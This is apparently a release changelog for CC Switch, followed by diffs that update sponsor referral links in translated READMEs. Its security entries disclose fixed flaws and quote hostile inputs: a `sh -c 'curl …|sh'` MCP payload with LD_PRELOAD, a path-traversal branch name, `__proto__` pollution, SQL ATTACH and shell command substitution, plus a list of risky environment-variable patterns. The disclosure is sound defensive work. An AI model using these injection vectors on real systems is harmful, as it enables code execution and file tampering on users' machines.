- **In-App Updates Are Served From the ccswitch.io Mirror**: The updater now queries `https://dl.ccswitch.io/latest.json` — a Cloudflare R2 mirror of the release manifest — before falling back to GitHub Releases, so checking for and downloading updates no longer depends on GitHub being reachable, which is slow or blocked for many users. The mirrored manifest points every platform's download at the same bucket while minisign signatures are left untouched: they cover file contents rather than URLs, so each downloaded artifact is still verified against the public key baked into the app and the mirror itself remains untrusted. Publishing is handled by a release-gated sync workflow that only rewrites the root manifest when its tag really is GitHub's `releases/latest`, so the mirror can never push users backwards to an older version.
- **Faster Codex Usage Import for Forked Sessions**: Importing and rebuilding Codex usage statistics no longer re-reads the same parent rollout file once per fork point: each parent `~/.codex/sessions/*.jsonl` rollout is parsed once into an in-memory token timeline shared by every child session forked from it, with each child's cutoff resolved by an in-memory filter instead of another full-file scan. The cached timeline is validated against a file identity stamp (mtime, size, plus device/inode or Windows file ID), so an appended, rotated, or replaced parent file is re-read rather than served stale. The gain scales with fork density: heavily forked histories see a large reduction in redundant parsing, while a history with few forks is essentially unchanged — import results are byte-identical either way. (#5626)
- **Toolbar App Switcher Is Now Icon-Only**: The app switcher buttons no longer render text labels next to the icons — with eight managed apps the labels were collapsed by the overflow detection most of the time anyway, so the ResizeObserver-based auto-compact mechanism was removed and the switcher always shows icons. App names remain discoverable by hovering (tooltip) and stay accessible to screen readers via `aria-label`.
- **Sponsor Domains and Referral Links Refreshed**: Several sponsor providers moved to new domains, and their preset addresses, endpoint candidates, referral links, and README rows were updated accordingly (PackyCode → `www.packyapi.ai`, RightCode → `www.rightapi.ai`, ClaudeAPI → `www.apito.ai`, APINebula → `apinebula.ai`, AICodeMirror → `.ai`, AICoding → `.inc`, AIGoCode → `.app`), with two dead backup endpoints dropped along the way. Existing providers keep the base URL stored in the database — see Upgrade notes.
### Fixed
- **Tool-Result Images No Longer Blow Up Context Through the Proxy**: When a client read an image through a tool call — Codex's `view_image`, or any MCP tool that returns a picture — the proxy's protocol conversion serialized the entire image block into the text of the tool message, so the upstream tokenized the base64 payload as prose: roughly 9,000× inflation, where a single 113 KB PNG cost over 100,000 prompt tokens, and because Codex replays the whole history every turn, two or three screenshots were enough to push a session past the context limit and wedge it behind repeated 400s (#4465, #5663). The proxy now lifts media payloads out of tool results and re-emits them as native content on every conversion bridge — images everywhere, files and audio where the target protocol supports them: the two Chat bridges (Claude→Chat and Codex Responses→Chat) carry image, file, and audio parts, leaving a short marker in the tool message and attaching the media as a synthetic user message right after the tool batch, while Claude→Responses restores native `input_image` parts, Codex/GrokBuild→Anthropic rebuilds proper Anthropic image blocks, and Claude→Gemini uses multimodal `functionResponse.parts` on Gemini 3 (with `inlineData` parts for older models), accepting only inline base64 images. Detection covers typed Responses blocks, Anthropic `source` blocks, MCP `data`+`mimeType` results, and whole-string image data URLs, reached through arrays and nested `content` wrappers including inside JSON-encoded tool outputs; once an output is identified as media-bearing, residual data URLs and raw base64 blobs anywhere inside it are collapsed to a placeholder — bare base64 on its own is never treated as media. Tool results with no media keep their exact previous byte-for-byte representation on all bridges, so prompt-cache prefixes are unaffected, and the emitted media parts carry no `cache_control` markers that strict upstreams such as GLM and Qwen reject. An end-to-end run against Kimi K3 held a replayed turn at roughly 12k input tokens with a 99% cache hit, versus more than 85k of base64 text per replay before.
- **Unsupported-Image Fallback Now Reaches Images Buried in Tool Results**: The Unsupported Image Fallback setting replaces image blocks with a marker when a provider is text-only or the upstream rejects images, but it could only see images that were still structured blocks — tool-result images already flattened into base64 text were invisible to it, so a text-only upstream failed outright with no way to recover. The media sanitizer now detects and strips media inside tool outputs symmetrically on every path, so both the pre-send strip and the retry-after-rejection path can heal these turns; and because that check now looks inside tool results, a regression test pins that the reactive retry still fires only on genuine modality rejections — a context-length 400 is left alone rather than retried.
- **Grok Build Costs Overstated by the Cost Backfill**: The routine that recomputes missing costs treated only Codex and Gemini as providers whose reported input token counts already include cache reads. Grok Build uses the same convention, so any Grok Build row repaired by the backfill was priced on the full input count with cache reads billed a second time. The cache-inclusive provider set is now defined in one place and shared by the routing logger, the cost calculator, and the backfill, so the three can no longer disagree.
- **Hand-Edited Config Files No Longer Crash the App or Silently Swallow Edits**: A `~/.codex/config.toml` in which `mcp_servers` exists but is not a table made MCP sync panic mid-switch, after the database and live-config writes had already committed — leaving a half-applied switch; non-table values are now normalised to an empty table with a logged warning, in both the Codex and GrokBuild writers. Inline-table forms (valid TOML) had the mirrored problem: MCP removal silently did nothing while the UI reported success, and a `base_url` edit was written at a level Codex never reads — both now handled. An `opencode.json` whose root, `provider`, or `mcp` section is an array or scalar no longer panics; such files are rejected with an error rather than rebuilt, so the user's own settings are not destroyed. (#5811)
- **Proxy Transforms Survive Malformed Upstream Responses**: A non-object `message` or `content_block` in an Anthropic SSE stream, or a buffered body that is a top-level JSON array or scalar (what a gateway that ignores `stream: true` returns), could abort the local proxy instead of producing an error; the stream now bails out with a proper failed event. A malformed `content_block` header is additionally recovered as a text block — sanitising it to an empty object stopped the panic but silently dropped everything that followed — so the deltas after a garbled header come through, with a warning logged. (#5811)
- **OpenClaw Kimi For Coding Base URL Corrected**: The OpenClaw preset pointed at `https://api.kimi.com/v1`, the general platform endpoint, rather than the endpoint the Kimi For Coding subscription is served from, so the preset did not work with a coding-plan key. The base URL is now `https://api.kimi.com/coding/v1`, with the form placeholder and default updated to match.
### Security
- **Gemini Common Config No Longer Leaks Credentials, With a One-Time Cleanup**: The Gemini common-config extractor stripped only `GEMINI_API_KEY` and `GOOGLE_GEMINI_BASE_URL` from the shared snippet and copied every other `env` entry verbatim — but `GOOGLE_API_KEY` is a first-class Gemini credential, so one account's key (along with anything else credential-shaped) was deep-merged into every other Gemini provider using the common config and sent to that provider's base URL, which may be a third-party relay. The extractor now skips any key matching the same credential-pattern matcher the Claude extractor already uses, and the frontend snippet validator was aligned so a hand-edited snippet cannot put a key straight back. Because a Gemini snippet is never re-extracted once it exists, a one-time startup cleanup also scrubs credentials that already leaked — from the snippet, from every provider they were merged into, and from `~/.gemini/.env`, matching by key *and* value so a provider's own same-named key with a different value survives. (#5811)
- **Skill Repository Install Hardening**: Installing or browsing skills from a GitHub repository could write files outside the intended directory: archive entries were joined onto the destination path without normalisation (zip-slip), and repository coordinates were never validated, so a branch like `../../../releases/download/v1/evil` retargeted the download at an arbitrary release asset — and since skill repositories can arrive via an untrusted `ccswitch://` deeplink and are enabled by default, merely opening the Skills panel could trigger the download. Skill `directory` values from restored backups, sync snapshots, and import-from-apps were likewise joined raw, letting uninstall `remove_dir_all` outside the managed skills directory. Every sink now validates the directory name, repository owner/name/branch are whitelisted at the single download convergence point, and extraction is capped (10,000 entries, 512 MB written, 128 MB download, 4 KB symlink targets, self-referential symlinks rejected), with the new errors localized in all four languages. (#5811)
- **Deep-Link Import Confirmations Show the Whole Payload (Credentials Masked) and Flag Risky Values**: The `ccswitch://` MCP import confirmation previously rendered a single truncated `Command:` line and showed neither `args`, `url`, nor `env` — so a link carrying `command: "sh"` with `args: ["-c", "curl …|sh"]` and an `LD_PRELOAD` variable displayed as a harmless `sh`, yet was written to the live MCP files on confirm. The dialog now renders command, each argument, URL, and env vars on separate lines that wrap instead of truncating, so nothing is clipped out of view (env values whose name contains TOKEN, KEY, SECRET, or PASSWORD are shown masked, as a prefix plus asterisks), and highlights values that warrant a second look: shell interpreters invoked with inline-command flags, env vars that change how a process loads code (`LD_*`, `DYLD_*`, `NODE_OPTIONS`, `PYTHONPATH`, `PATH`, proxy vars), and endpoints pointing at loopback, private-range, or cloud-metadata addresses. The markers are advisory and never block an import — a local Ollama endpoint is ordinary usage. The provider confirmation gains the same treatment, and the "will be written immediately" warning is now shown unconditionally instead of being gated on a link-controlled field.
- **Usage Scripts From Deep Links Arrive Disabled and Their Code Is Shown**: A usage-query script imported through a deep link is JavaScript that runs on every usage query, and it was previously possible to acquire one without ever seeing it: the backend treated the mere presence of code as a decision to enable it, and the dialog showed only an Enabled/Disabled badge. Scripts now default to disabled — a link must explicitly carry `usageEnabled=true` — and the confirmation displays the complete decoded script in a scrollable code block with a warning that it will execute once enabled. Decoding failures fall back to displaying the raw payload, so a malformed script can never read as "there is no script".
- **URL-Safe Base64 Payloads Could Blank the Confirmation Dialog Entirely**: The two entries above make the confirmation show more; this one is about the confirmation showing *nothing*. The backend accepts four Base64 variants including the URL-safe alphabet (RFC 4648 §5), while the frontend's `atob` accepts only the standard one and, on failure, returned its input unchanged instead of signalling an error — so for the same payload the backend decoded and imported successfully while the frontend held an undecodable string. Usage scripts and system prompts rendered as opaque Base64, and MCP configs were worse: `JSON.parse` threw, the component swallowed it, and the dialog rendered **"0 servers" with an empty list while the backend wrote the real entry into the live MCP files**. Substituting a single `/` for `_` in the payload was enough — the dialog went blank, the import stayed fully functional, and the complete-payload display added above was defeated along with it. The frontend decoder now normalises the URL-safe alphabet before decoding, so the confirmation always matches what will be imported, and the shared decoder gained its first unit tests — with in-test preconditions asserting each sample really exercises the URL-safe path rather than happening to encode identically under both alphabets. Affected every release from v3.8.0 onward; see Upgrade notes for what to check.
- **SQL Import Rejects Statements That Reach Outside the Import Database**: Importing a database backup validated only the file's header comment and then handed the entire text to `execute_batch`, so a crafted backup could `ATTACH DATABASE` and create a SQLite file anywhere the user can write — a side effect that landed even when the import as a whole failed, and one reachable through WebDAV/S3 sync snapshots too. A SQLite authorizer is now installed for the duration of the external batch only, denying `ATTACH`/`DETACH`, `VACUUM`, virtual-table creation, and any action SQLite reports as unknown (fail-closed), with PRAGMAs limited to the two the exporter actually emits.
- **Prototype Pollution in Common-Config Snippet Handling**: The three walkers that apply, remove, and compare common-config snippets all followed `__proto__` into the global `Object.prototype`, so a malicious snippet — reachable via WebDAV/S3 sync, since the `settings` table is overwritten by whatever the remote sends — could write attacker-chosen values onto the global prototype the moment a provider form was opened. All three walkers now skip `__proto__`, `constructor`, and `prototype`; the "common config applied" comparison also now requires own properties, fixing a visible quirk where `{"__proto__":{}}` counted as a subset of every config.
- **Command Substitution via Project Directory Names on Terminal Launch**: Resuming a session in an external terminal built the `cd` line with double-quote escaping, which stops spaces but not `$(…)`, backticks, or `$VAR` — and the value is the real project path recorded in the CLI's session history, which may legitimately contain those characters. Any project folder named that way executed the embedded command in the user's terminal on Resume. The three launchers that build a shell line — Terminal.app, iTerm, and kitty — now use POSIX single-quote escaping, where nothing expands, including through the AppleScript quoting layer; Ghostty, WezTerm/Kaku, and Alacritty were already safe because they pass the directory as its own argument.
- **GrokBuild Credential Resolution No Longer Substitutes Environment Secrets**: GrokBuild credential extraction fell back to the process-wide `XAI_API_KEY` whenever the configured `env_key` variable was unset, silently sending a different account's key to whatever base URL the config pointed at; credentials now come only from an explicit inline `api_key` or the exact variable named by `env_key`. Deep-link import no longer resolves environment variables into a plaintext `api_key`, and a link whose only credential is an `env_key` name is rejected with a message to add the provider manually. As a side effect, base-URL resolution was decoupled from credential resolution, fixing a macOS quirk where a missing credential also blanked the base URL shown in the UI and used by usage scripts. (#5811)
### Docs
- **Claude Code GPT Routing Guide Now in English and Japanese**: The local-routing guide for running GPT-family models inside Claude Code, previously Chinese-only, is now fully ported to English and Japanese, covering both integration paths end to end (a third-party OpenAI Responses gateway with an API key, and a ChatGPT Plus/Pro subscription via the Codex device-code OAuth flow). Both routing guides were retitled to name the models they are about — "Using GPT Models in Claude Code with CC Switch" and "Using Claude Models in Codex with CC Switch" — and every cross-link, including the v3.18.0 release notes in all three languages, now points readers at their own-language copy.
- **Corrected the Deep-Link `usageEnabled` Default in the User Manual**: The deep-link reference in all three user manuals claimed `usageEnabled` defaults to `true`; it actually defaults to `false`, matching the importer. The manuals now state the correct default and document that the script body is shown in full before import and stays disabled until explicitly enabled.
- **Security Policy Documents the Threat Model and Reporting Scope**: `SECURITY.md` gained a bilingual threat model with explicit in-scope and out-of-scope lists, so reports are triaged by who controls the input rather than which API a value eventually reaches: the bundled WebView renderer is declared a trusted component (with the four independently checkable facts backing that and the triggers that would void it), while deep-link payloads, WebDAV/S3 restore data, imported files, upstream API responses, and inbound requests to the local proxy are all named as untrusted and in scope. The same reasoning is recorded as a doc comment on the terminal-launch command.
### Internal
- **Release Assets Mirrored to Cloudflare R2 for ccswitch.io Downloads**: Release automation mirrors every installer to an R2 bucket behind `dl.ccswitch.io` and generates the manifest the ccswitch.io download page consumes — per-file SHA-256 checksums, sizes, and the release's real publish date — with immutable caching for versioned assets, a five-minute TTL on the root manifest, and pruning beyond the five most recent versions. Forks without the R2 credentials skip the sync entirely.
- **Skill ZIP Extraction Tests No Longer Hijack TMPDIR**: Two cleanup-guard tests pointed the process-global `TMPDIR` at a scratch directory and asserted it ended up empty, so any concurrently running test that created a temp directory randomly failed the assertion on Ubuntu and macOS CI. The extraction now takes its temp base explicitly through a test seam and the tests use a private directory; the shipped code path is unchanged.
### Upgrade notes
- No database schema migration in this release — `SCHEMA_VERSION` stays at 16.
- On first launch after upgrading, a one-time Gemini common-config cleanup runs before the usual config extraction. Some Gemini providers may afterwards report a missing API key: entries are removed by credential-style key name plus exact value match, so this is usually another provider's credential that leaked through the shared snippet (the provider's own original value was overwritten when the leak occurred and cannot be recovered) — but a key you intentionally reused across several Gemini providers is removed from all of them as well. Either way, rotate and re-enter the key: treat anything that sat in the shared Gemini snippet as exposed. An audit record listing the removed key names and affected provider ids — never the values — is stored in the `settings` table under `gemini_common_config_scrub_audit_v1`.
- If you have ever imported an MCP server from a `ccswitch://` link, it is worth auditing once. Before this release the MCP import confirmation could fail to show what it was about to write: arguments and env vars were not rendered at all (`command: "sh"` with `args: ["-c", …]` displayed as a harmless `sh`), and a URL-safe Base64 payload made the whole list render as "0 servers" — while the backend wrote the real entry to the live MCP files in both cases. Both defects affected **every release from v3.8.0 onward** and are fixed here. Exploitation required opening an attacker-supplied link and confirming the import, so most users are unaffected; if you did open an MCP import link from a source you do not fully trust, review the entries in the MCP panel, or directly in `~/.claude.json` under `mcpServers` (Codex: `mcp_servers` in `~/.codex/config.toml`), and confirm you recognise each one — MCP servers are executed as subprocesses the next time the CLI starts.
- Deep links carrying a usage-query script now import it disabled unless the link explicitly sets `usageEnabled=true`. Links that relied on auto-enablement (for example some partner one-click setup links) will import the script but leave usage querying off — enable it in the provider editor after reviewing the code.
- The new default models apply only to newly added providers — providers already saved keep the model IDs they were created with. For Claude Desktop, the current opus route ID advances to `claude-opus-5` with `claude-opus-4-8` moving into the legacy slot, so opus route IDs stored in existing configs still resolve through the compatibility alias.
- New built-in pricing rows (`claude-opus-5`, `gemini-3.6-flash`, `grok-4.5-build`) are appended insert-if-absent on next launch — this seeding never overwrites a price you edited. A `~/.cc-switch/model-pricing.json` file is created (empty) to hold manual overrides and deletions made from this version onward — earlier price edits are not migrated into it, so re-save any you want protected against a database rebuild. Automatic models.dev sync stays off until you enable it; once enabled, it is the one path that does overwrite matching prices, built-in and hand-edited alike.
- GrokBuild providers that relied on the implicit `XAI_API_KEY` environment fallback now need an explicit `api_key` or a correctly named `env_key`.
- Grok Build official-mode usage appears with a deliberate delay of roughly ten minutes plus one sync cycle, so events can be checked against proxy-recorded rows; if routed and official usage alternate within that window, some official-mode turns are skipped rather than risk double counting. Grok Build rows already over-priced by the old cost backfill keep their inflated value — the backfill never revises an existing positive cost.
- The updater endpoint list ships inside the app binary, so existing installations keep checking GitHub until they have updated once to a build containing this change; from then on the `dl.ccswitch.io` mirror is preferred with GitHub as fallback.
- Sponsor providers you already created keep the base URL stored in the database, so they still target the old domains. To move onto a migrated domain, edit the provider's address by hand or re-create it from the refreshed preset.
## [3.18.0] - 2026-07-21
Development since v3.17.0 is headlined by Grok Build joining as the eighth managed app — full provider switching, proxy takeover on its own route namespace, MCP/Skills/prompts sync, a curated preset list, and a Grok Official entry with official-login import (schema v14/v15) — and by xAI Grok account sign-in over an OAuth device flow for Claude Code, Claude Desktop, and Codex, including a strict-gateway compatibility layer that lets codex 0.142+ drive a Grok subscription over native Responses. A usage-accounting repair wave fixes the v3.17.0 fork/sub-agent double count with a one-time automatic rebuild (schema v16) plus a manual rebuild action, makes proxy usage logging idempotent, and stops the usage page freezing during large imports. Diagnostics mature: logs persist across restarts under size rotation, every log egress redacts secrets, and renderer crashes are captured to disk behind an error boundary with a reload screen. The Codex conversion layer gets four correctness fixes — tool schemas normalized to object type, reasoning attached forward across turns, streamed tool-call identity and order preserved, and parser-required catalog fields backfilled so codex 0.144.5+ starts — while managed-OAuth providers are now reliably flagged as routing-required and Windows provider switches no longer flash a console window or freeze the UI. Rounded out by Kimi K3 presets and pricing, corrected OpenClaw preset costs, SudoCode.us restored beside SudoCode.chat, sponsor-grouped preset ordering, first-run tray language detection, and permanently deletable default Skill repositories.
+7 -2
View File
@@ -83,8 +83,8 @@ Register now via <a href="https://pateway.ai/?ch=etzpm8&aff=WB6M6F67#/">this lin
</tr>
<tr>
<td width="180"><a href="https://aigocode.com/invite/CC-SWITCH"><img src="assets/partners/logos/aigocode.png" alt="AIGoCode" width="150"></a></td>
<td>Thanks to AIGoCode for sponsoring this project! AIGoCode is an all-in-one platform that integrates Claude Code, Codex, and the latest Gemini models, providing you with stable, efficient, and highly cost-effective AI coding services. The platform offers flexible subscription plans, zero risk of account suspension, direct access with no VPN required, and lightning-fast responses. AIGoCode has prepared a special benefit for CC Switch users: if you register via <a href="https://aigocode.com/invite/CC-SWITCH">this link</a>, you'll receive an extra 10% bonus credit on your first top-up!</td>
<td width="180"><a href="https://aigocode.app/invite/CC-SWITCH"><img src="assets/partners/logos/aigocode.png" alt="AIGoCode" width="150"></a></td>
<td>Thanks to AIGoCode for sponsoring this project! AIGoCode is an all-in-one platform that integrates Claude Code, Codex, and the latest Gemini models, providing you with stable, efficient, and highly cost-effective AI coding services. The platform offers flexible subscription plans, zero risk of account suspension, direct access with no VPN required, and lightning-fast responses. AIGoCode has prepared a special benefit for CC Switch users: if you register via <a href="https://aigocode.app/invite/CC-SWITCH">this link</a>, you'll receive an extra 10% bonus credit on your first top-up!</td>
</tr>
<tr>
@@ -144,6 +144,11 @@ TeamoRouter also offers enterprise features including centralized billing, team
<td>Thanks to <a href="https://nekocode.ai?aff=CCSWITCH">NekoCode</a> for sponsoring this project! NekoCode provides developers with a stable, efficient, and reliable API relay service for Claude, Codex, and other AI models. With transparent pricing and flexible pay-as-you-go billing, it offers a simple and cost-effective way to access AI models. CC Switch users can enjoy an exclusive 10% discount: register via <a href="https://nekocode.ai?aff=CCSWITCH">this link</a> and enter promo code <code>cc-switch</code> during recharge to receive 10% off your top-up!</td>
</tr>
<tr>
<td width="180"><a href="https://a6api.com/register?aff=AqNr"><img src="assets/partners/logos/a6-banner-en.jpg" alt="A6API" width="150"></a></td>
<td>Thanks to <a href="https://a6api.com/register?aff=AqNr">A6API</a> for sponsoring this project! A6API is a one-stop AI model API aggregation platform covering Claude, GPT, Gemini, Codex, and other mainstream models. Multiple vendors can list their supply on the platform, so the same model can be quoted competitively by several upstream providers. Smart routing automatically picks the more stable, lower-priced route available and fails over automatically, helping you reduce failed requests, cut costs, and improve stability. Whether you are an individual developer, an AI product team, or a studio, you can integrate quickly through a unified interface — compatible with all formats, with low migration cost. New users who register via <a href="https://a6api.com/register?aff=AqNr">this link</a> receive free trial credits: try it first, then use it at a low price.</td>
</tr>
<tr>
<td width="180"><a href="https://www.atlascloud.ai/coding-plan?utm_source=github&utm_campaign=cc-switch"><img src="assets/partners/logos/atlascloud_banner.png" alt="Atlas Cloud" width="150"></a></td>
<td>Atlas Cloud is a full-modal AI inference platform that gives developers a single AI API to access video generation, image generation, and LLM APIs. Instead of managing multiple vendor integrations, you connect once and get unified access to 300+ curated models across all modalities. Check out Atlas Cloud's new <a href="https://www.atlascloud.ai/coding-plan?utm_source=github&utm_campaign=cc-switch">coding plan</a> promotion for more budget-friendly API access!</td>
+7 -2
View File
@@ -83,8 +83,8 @@ Registrieren Sie sich jetzt über <a href="https://pateway.ai/?ch=etzpm8&aff=WB6
</tr>
<tr>
<td width="180"><a href="https://aigocode.com/invite/CC-SWITCH"><img src="assets/partners/logos/aigocode.png" alt="AIGoCode" width="150"></a></td>
<td>Danke an AIGoCode für die Unterstützung dieses Projekts! AIGoCode ist eine All-in-One-Plattform, die Claude Code, Codex und die neuesten Gemini-Modelle integriert und Ihnen stabile, effiziente und äußerst kostengünstige KI-Coding-Dienste bietet. Die Plattform stellt flexible Abonnementpläne bereit, birgt kein Risiko einer Kontosperrung, ermöglicht Direktzugriff ohne VPN und reagiert blitzschnell. AIGoCode hat ein besonderes Angebot für CC-Switch-Nutzer vorbereitet: Wenn Sie sich über <a href="https://aigocode.com/invite/CC-SWITCH">diesen Link</a> registrieren, erhalten Sie bei Ihrer ersten Aufladung zusätzliche 10 % Bonusguthaben!</td>
<td width="180"><a href="https://aigocode.app/invite/CC-SWITCH"><img src="assets/partners/logos/aigocode.png" alt="AIGoCode" width="150"></a></td>
<td>Danke an AIGoCode für die Unterstützung dieses Projekts! AIGoCode ist eine All-in-One-Plattform, die Claude Code, Codex und die neuesten Gemini-Modelle integriert und Ihnen stabile, effiziente und äußerst kostengünstige KI-Coding-Dienste bietet. Die Plattform stellt flexible Abonnementpläne bereit, birgt kein Risiko einer Kontosperrung, ermöglicht Direktzugriff ohne VPN und reagiert blitzschnell. AIGoCode hat ein besonderes Angebot für CC-Switch-Nutzer vorbereitet: Wenn Sie sich über <a href="https://aigocode.app/invite/CC-SWITCH">diesen Link</a> registrieren, erhalten Sie bei Ihrer ersten Aufladung zusätzliche 10 % Bonusguthaben!</td>
</tr>
<tr>
@@ -144,6 +144,11 @@ TeamoRouter bietet außerdem Enterprise-Funktionen wie zentrale Abrechnung, Team
<td>Vielen Dank an <a href="https://nekocode.ai?aff=CCSWITCH">NekoCode</a> für die Unterstützung dieses Projekts! NekoCode bietet Entwicklern einen stabilen, effizienten und zuverlässigen API-Relay-Dienst für Claude, Codex und weitere KI-Modelle. Mit transparenter Preisgestaltung und flexibler nutzungsbasierter Abrechnung bietet es einen einfachen und kostengünstigen Zugang zu KI-Modellen. CC-Switch-Nutzer erhalten einen exklusiven Rabatt von 10 %: Registrieren Sie sich über <a href="https://nekocode.ai?aff=CCSWITCH">diesen Link</a> und geben Sie beim Aufladen den Gutscheincode <code>cc-switch</code> ein, um 10 % Rabatt auf Ihre Aufladung zu erhalten!</td>
</tr>
<tr>
<td width="180"><a href="https://a6api.com/register?aff=AqNr"><img src="assets/partners/logos/a6-banner-en.jpg" alt="A6API" width="150"></a></td>
<td>Vielen Dank an <a href="https://a6api.com/register?aff=AqNr">A6API</a> für die Unterstützung dieses Projekts! A6API ist eine All-in-one-Aggregationsplattform für KI-Modell-APIs und deckt Claude, GPT, Gemini, Codex und weitere gängige Modelle ab. Mehrere Anbieter können ihr Angebot einstellen, sodass dasselbe Modell von verschiedenen Upstream-Anbietern im Preiswettbewerb bereitgestellt wird. Intelligentes Routing wählt automatisch die stabilere und günstigere verfügbare Route und schaltet bei Fehlern automatisch um das reduziert fehlgeschlagene Anfragen, senkt die Kosten und erhöht die Stabilität. Ob einzelne Entwickler, KI-Produktteams oder Studios: Die Anbindung erfolgt schnell über eine einheitliche Schnittstelle, kompatibel mit allen Formaten und mit geringem Migrationsaufwand. Neue Nutzer erhalten bei der Registrierung über <a href="https://a6api.com/register?aff=AqNr">diesen Link</a> kostenloses Testguthaben erst testen, dann günstig loslegen.</td>
</tr>
<tr>
<td width="180"><a href="https://www.atlascloud.ai/coding-plan?utm_source=github&utm_campaign=cc-switch"><img src="assets/partners/logos/atlascloud_banner.png" alt="Atlas Cloud" width="150"></a></td>
<td>Atlas Cloud ist eine vollmodale KI-Inferenzplattform, die Entwicklern über eine einzige KI-API Zugriff auf Videogenerierung, Bildgenerierung und LLM-APIs bietet. Statt mehrere Anbieterintegrationen zu verwalten, verbinden Sie sich einmal und erhalten einheitlichen Zugriff auf mehr als 300 kuratierte Modelle über alle Modalitäten hinweg. Sehen Sie sich die neue <a href="https://www.atlascloud.ai/coding-plan?utm_source=github&utm_campaign=cc-switch">Coding-Plan</a>-Aktion von Atlas Cloud für kostengünstigeren API-Zugang an!</td>
+7 -2
View File
@@ -83,8 +83,8 @@ Claude Code / Codex / Gemini 公式チャンネルが最安で元価格の 38% /
</tr>
<tr>
<td width="180"><a href="https://aigocode.com/invite/CC-SWITCH"><img src="assets/partners/logos/aigocode.png" alt="AIGoCode" width="150"></a></td>
<td>本プロジェクトは AIGoCode のスポンサー提供でお届けしています。AIGoCode は、Claude Code・Codex・最新の Gemini モデルを統合したオールインワンのAIコーディングプラットフォームで、安定性・高速性・コストパフォーマンスに優れた開発サービスを提供します。柔軟なサブスクリプションプランを備え、レスポンスも非常に高速です。さらに、CC Switch ユーザー向けの特典として、<a href="https://aigocode.com/invite/CC-SWITCH">このリンク</a>から登録すると、初回チャージ時に10%分のボーナスクレジットが付与されます!</td>
<td width="180"><a href="https://aigocode.app/invite/CC-SWITCH"><img src="assets/partners/logos/aigocode.png" alt="AIGoCode" width="150"></a></td>
<td>本プロジェクトは AIGoCode のスポンサー提供でお届けしています。AIGoCode は、Claude Code・Codex・最新の Gemini モデルを統合したオールインワンのAIコーディングプラットフォームで、安定性・高速性・コストパフォーマンスに優れた開発サービスを提供します。柔軟なサブスクリプションプランを備え、レスポンスも非常に高速です。さらに、CC Switch ユーザー向けの特典として、<a href="https://aigocode.app/invite/CC-SWITCH">このリンク</a>から登録すると、初回チャージ時に10%分のボーナスクレジットが付与されます!</td>
</tr>
<tr>
@@ -144,6 +144,11 @@ TeamoRouter は、集中請求、チーム管理、BYOK、スマートルーテ
<td>本プロジェクトをご支援いただいている <a href="https://nekocode.ai?aff=CCSWITCH">NekoCode</a> に感謝します!NekoCode は、Claude や Codex などの AI モデルに対応した、安定性・効率性・信頼性に優れた API 中継サービスを提供しています。料金体系は明瞭で、柔軟な従量課金にも対応しています。CC Switch ユーザー限定の 10%オフ特典:<a href="https://nekocode.ai?aff=CCSWITCH">こちらのリンク</a> から登録し、チャージ時にクーポンコード <code>cc-switch</code> を入力すると、チャージが 10%オフになります!</td>
</tr>
<tr>
<td width="180"><a href="https://a6api.com/register?aff=AqNr"><img src="assets/partners/logos/a6-banner-en.jpg" alt="A6API" width="150"></a></td>
<td>本プロジェクトをご支援いただいている <a href="https://a6api.com/register?aff=AqNr">A6API</a> に感謝します!A6API は、Claude、GPT、Gemini、Codex などの主要モデルを網羅するワンストップの AI モデル API アグリゲーションプラットフォームです。複数のベンダーが出品でき、同じモデルを複数の上流プロバイダーが競争価格で提供します。スマートルーティングにより、より安定して安価な利用可能ルートを自動で選択し、失敗時には自動で切り替えるため、リクエストの失敗を減らし、コストを抑え、安定性を高められます。個人開発者でも、AI プロダクトチームでも、スタジオでも、統一されたインターフェースからすぐに接続でき、あらゆるフォーマットに対応、移行コストも低く抑えられます。<a href="https://a6api.com/register?aff=AqNr">こちらのリンク</a> から新規登録すると無料の体験クレジットがもらえます。まず試してから、低価格で使い始められます。</td>
</tr>
<tr>
<td width="180"><a href="https://www.atlascloud.ai/coding-plan?utm_source=github&utm_campaign=cc-switch"><img src="assets/partners/logos/atlascloud_banner.png" alt="Atlas Cloud" width="150"></a></td>
<td>Atlas Cloud は、1 つの API で動画・画像生成や LLM(大規模言語モデル)を利用できる全モーダル対応の AI 推論プラットフォームです。複数のベンダーを個別に管理する手間を省き、一度の接続で 300 以上の厳選されたマルチモーダルモデルにアクセスできます。より低コストで API を利用できる、開発者向けの新しい<a href="https://www.atlascloud.ai/coding-plan?utm_source=github&utm_campaign=cc-switch">「コーディングプラン」</a>プロモーションをぜひチェックしてください!</td>
+7 -2
View File
@@ -83,8 +83,8 @@ Claude Code / Codex / Gemini 官方渠道低至 3.8 / 0.2 / 0.9 折,充值更
</tr>
<tr>
<td width="180"><a href="https://aigocode.com/invite/CC-SWITCH"><img src="assets/partners/logos/aigocode.png" alt="AIGoCode" width="150"></a></td>
<td>感谢 AIGoCode 赞助了本项目!AIGoCode 是一个集成了 Claude Code、Codex 以及 Gemini 最新模型的一站式平台,为你提供稳定、高效且高性价比的AI编程服务。本站提供灵活的订阅计划,零封号风险,国内直连,无需魔法,极速响应。AIGoCode 为 CC Switch 的用户提供了特别福利,通过<a href="https://aigocode.com/invite/CC-SWITCH">此链接</a>注册的用户首次充值可以获得额外10%奖励额度!</td>
<td width="180"><a href="https://aigocode.app/invite/CC-SWITCH"><img src="assets/partners/logos/aigocode.png" alt="AIGoCode" width="150"></a></td>
<td>感谢 AIGoCode 赞助了本项目!AIGoCode 是一个集成了 Claude Code、Codex 以及 Gemini 最新模型的一站式平台,为你提供稳定、高效且高性价比的AI编程服务。本站提供灵活的订阅计划,零封号风险,国内直连,无需魔法,极速响应。AIGoCode 为 CC Switch 的用户提供了特别福利,通过<a href="https://aigocode.app/invite/CC-SWITCH">此链接</a>注册的用户首次充值可以获得额外10%奖励额度!</td>
</tr>
<tr>
@@ -144,6 +144,11 @@ TeamoRouter 还提供企业级功能,包括集中账单、团队管理、BYOK
<td>感谢 <a href="https://nekocode.ai?aff=CCSWITCH">NekoCode</a> 赞助本项目!NekoCode 为开发者提供稳定、高效、可靠的 Claude、Codex 等 AI 模型 API 中转服务,价格透明,接入便捷,支持灵活的按量计费。CC Switch 用户专享 9 折福利:通过 <a href="https://nekocode.ai?aff=CCSWITCH">此链接</a> 注册,并在充值时输入优惠码 <code>cc-switch</code>,即可享受充值 9 折优惠!</td>
</tr>
<tr>
<td width="180"><a href="https://a6api.com/register?aff=AqNr"><img src="assets/partners/logos/a6-banner-zh.jpg" alt="A6API" width="150"></a></td>
